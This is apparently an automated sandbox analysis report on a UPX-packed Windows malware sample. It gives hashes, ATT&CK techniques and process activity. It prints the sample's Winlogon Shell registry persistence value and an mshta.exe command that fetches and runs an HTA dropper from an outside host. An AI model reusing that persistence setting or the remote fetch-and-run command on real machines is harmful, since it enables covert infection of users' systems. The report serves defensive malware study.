eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00

Reason

Machine shutdown

General

Target

eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
Size

546KB
MD5

d6b11506de5f5eefcdc2f1810383efdc
SHA1

acbe4dcf0fdb473012dc7b11bdcd51123183bf4f
SHA256

eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00
SHA512

9c3cbbd1069cf1e5b7a8237aecb1902594c976736b4c1090855eaedae8168ebcfadcbcb07321ff1a78cdc5145b30421913ad5b8ae43e531bb8be0f68dff4b9fe
SSDEEP

12288:BswSLTlPmtD3POXb0dq7bra9awiV9E8iGBTtejmKBFXhb2PqtOG+T9NhRaHLaJ9M:G1LIt7PDArHJNBSmKbki4190

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://report22new.com/inst.php?id=02907

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hotfix.exe"	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2016-59-0x0000000000400000-0x00000000006A5000-memory.dmp	upx
behavioral1/memory/2016-62-0x0000000000400000-0x00000000006A5000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 1896	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe	26
PID 2016 wrote to memory of 1896	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe	26
PID 2016 wrote to memory of 1896	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe	26
PID 2016 wrote to memory of 1896	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe	26
PID 2016 wrote to memory of 2020	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe	27
PID 2016 wrote to memory of 2020	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe	27
PID 2016 wrote to memory of 2020	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe	27
PID 2016 wrote to memory of 2020	2016	eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe	27

C:\Users\Admin\AppData\Local\Temp\eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe
"C:\Users\Admin\AppData\Local\Temp\eb03d99021bd9508f21e806ea73bb846c6ec296839ddc8397384a8a397967f00.exe"
1⤵
- Modifies WinLogon for persistence
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://report22new.com/inst.php?id=02907
  2⤵
  PID:1896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Roaming\sdtsh.bat" "
  2⤵
  PID:2020

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:1988

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Winlogon Helper DLL

1

T1004

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\sdtsh.bat

Filesize
296B

MD5
97c5cf65e3d7ab12fcd2265c80e1e3dd

SHA1
a49e481e961931d53a53e1553aa5d2e5334699ae

SHA256
bd4efd97001b1be3b5ab5fbc3645a1c18d1b209e3a788b90863e99ff9948ccd7

SHA512
861d0c4e659f1f1611b5d2c57cad93776f2ee0e001baf41a7890e8d68d0854b036ea5d0afcb254b20a3eae2daa11572ec6bbd8fc73052688c5ac095d0fd08c7e

Download Submit
memory/1988-61-0x000007FEFC2F1000-0x000007FEFC2F3000-memory.dmp

Filesize
8KB

Download
memory/2016-54-0x0000000075A71000-0x0000000075A73000-memory.dmp

Filesize
8KB

Download
memory/2016-59-0x0000000000400000-0x00000000006A5000-memory.dmp

Filesize
2.6MB

Download
memory/2016-60-0x0000000003A00000-0x0000000003A10000-memory.dmp

Filesize
64KB

Download
memory/2016-62-0x0000000000400000-0x00000000006A5000-memory.dmp

Filesize
2.6MB

Download

Analysis

Sharing

Errors